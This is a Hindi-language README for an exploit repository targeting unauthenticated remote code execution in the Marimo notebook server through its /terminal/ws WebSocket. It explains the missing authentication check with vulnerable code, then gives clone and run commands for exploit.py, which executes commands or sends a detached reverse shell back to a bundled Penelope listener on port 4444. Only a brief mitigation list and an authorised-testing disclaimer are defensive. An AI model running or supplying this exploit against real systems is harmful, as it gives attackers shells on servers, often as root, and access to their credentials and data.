
0.23.0 से पहले के संस्करणों के लिए Marimo एक्सप्लॉइट। websocket एंडपॉइंट : /terminal/ws के माध्यम से बिना प्रमाणीकरण के RCE भेद्यता।
/terminal/ws)CVSS 4.0 : 9.3 CRITICAL
CVSS 3.x : 9.8 CRITICAL
CWE : CWE-306 (Missing Authentication for Critical Function)
Fix : Marimo 0.23.0+
Affects : Marimo <= 0.20.4 (all builds prior to the auth fix)
बिना प्रमाणीकरण के रिमोट कोड निष्पादन Marimo में, जो एक रिएक्टिव Python नोटबुक सर्वर है।
/terminal/ws पर एक अकेला बिना-प्रमाणीकरण वाला WebSocket कनेक्शन, Marimo प्रक्रिया चलाने वाले उपयोगकर्ता (अक्सर Docker में root) के रूप में एक पूर्ण इंटरैक्टिव PTY शेल प्रदान करता है।
केवल लैब / अधिकृत परीक्षण हेतु (HTB, CTF, लिखित दायरे वाला एंगेजमेंट)।
Marimo WebSocket पर एक एकीकृत टर्मिनल प्रदान करता है:
ws://<host>:<port>/terminal/ws
wss://<host>/terminal/ws
अन्य WebSocket रूट (विशेष रूप से नोटबुक UI के लिए /ws) सही ढंग से validate_auth() को कॉल करते हैं।
/terminal/ws नहीं करता। यह केवल जाँचता है:
फिर तुरंत:
await websocket.accept()
child_pid, fd = pty.fork() # full system shell
कोई कुकी, टोकन, पासवर्ड या Authorization हेडर आवश्यक नहीं है — तब भी जब इंस्टेंस पर प्रमाणीकरण सक्षम हो।
प्रभाव: Marimo प्रक्रिया के विशेषाधिकारों के साथ बिना प्रमाणीकरण के आर्बिट्ररी कमांड निष्पादन। डिफ़ॉल्ट कंटेनर इमेज में यह अक्सर root होता है।
फ़ाइल (भेद्य ट्री): marimo/_server/api/endpoints/terminal.py
@router.websocket("/ws")
async def websocket_endpoint(websocket: WebSocket) -> None:
app_state = AppState(websocket)
if app_state.mode != SessionMode.EDIT:
await websocket.close(...)
return
if not supports_terminal():
await websocket.close(...)
return
# <<< no validate_auth() / @requires("edit") >>>
await websocket.accept()
child_pid, fd = pty.fork()
# ... bridge WebSocket <-> PTY ...
नोटबुक WebSocket (ws_endpoint.py) से तुलना करें, जो वास्तव में प्रमाणीकरण लागू करता है:
validator = WebSocketConnectionValidator(websocket, app_state)
if not await validator.validate_auth():
return
Attacker Marimo (edit mode)
| |
| WS upgrade /terminal/ws |
|----------------------------------->|
| 101 Switching Protocols |
| (no auth challenge) |
|<-----------------------------------|
| | pty.fork() → /bin/bash
| "id\n" |
|----------------------------------->|
| uid=1000(marimo) ... |
|<-----------------------------------|
| persistent reverse shell |
|----------------------------------->|
| <======== TCP shell =======|
ws(s)://target/terminal/ws से कनेक्ट करें| स्थिति | संस्करण |
|---|---|
| असुरक्षित | Marimo <= 0.20.4 (फिक्स-पूर्व) |
| सुरक्षित | Marimo 0.23.0 और उसके बाद |
कोई भी डिप्लॉयमेंट जो बाहरी auth गेटवे के बिना टर्मिनल WebSocket (edit मोड, PTY समर्थित) को एक्सपोज़ करता है, दायरे में है।
| फ़ाइल | भूमिका |
|---|---|
exploit.py | PoC: कमांड निष्पादन + स्थायी रिवर्स शेल + Penelope लॉन्चर |
penelope.py | स्टैंडअलोन शेल हैंडलर (brightio/penelope) |
README.md | यह फ़ाइल |
git clone <this-repo> CVE-2026-39987
cd CVE-2026-39987
chmod +x exploit.py penelope.py
penelope.py को कोई अतिरिक्त डिपेंडेंसी नहीं चाहिए (Python 3.6+ मानक लाइब्रेरी)।
python3 exploit.py https://example.lab "id"
python3 exploit.py https://example.lab -p
python3 exploit.py wss://example.lab/terminal/ws "whoami"
क्या होता है:
/terminal/ws के माध्यम से एक डिटैच्ड रिवर्स शेल भेजता है0.0.0.0:4444 पर Penelope को exec करती हैpython3 exploit.py -h
Penelope एक स्टैंडअलोन स्क्रिप्ट (penelope.py) के रूप में बंडल किया गया है:
डिफ़ॉल्ट प्रवाह (-p):
exploit.py
├── fork child ──delay──► WS /terminal/ws ──► setsid/nohup revshell
│
└── exec ► penelope.py <PORT> -i 0.0.0.0
▲
│ TCP callback
└── victim
चाइल्ड का उपयोग जानबूझकर किया जाता है: os.execv(penelope) पैरेंट प्रक्रिया इमेज को बदल देता है, जो बैकग्राउंड थ्रेड को मार देगा।
मैन्युअल Penelope:
python3 penelope.py 4444
python3 penelope.py 4444 -i 0.0.0.0
python3 penelope.py -a # show sample payloads for active listeners
pip install -U marimo).env, SSH की), आउटबाउंड कनेक्शन और पर्सिस्टेंस की ऑडिट करेंयह प्रोजेक्ट केवल अधिकृत सुरक्षा परीक्षण, शिक्षा और डिफेंसिव शोध के लिए है।
आप लागू कानूनों और अपनी लैब या क्लाइंट के एंगेजमेंट नियमों का पालन करने के लिए ज़िम्मेदार हैं।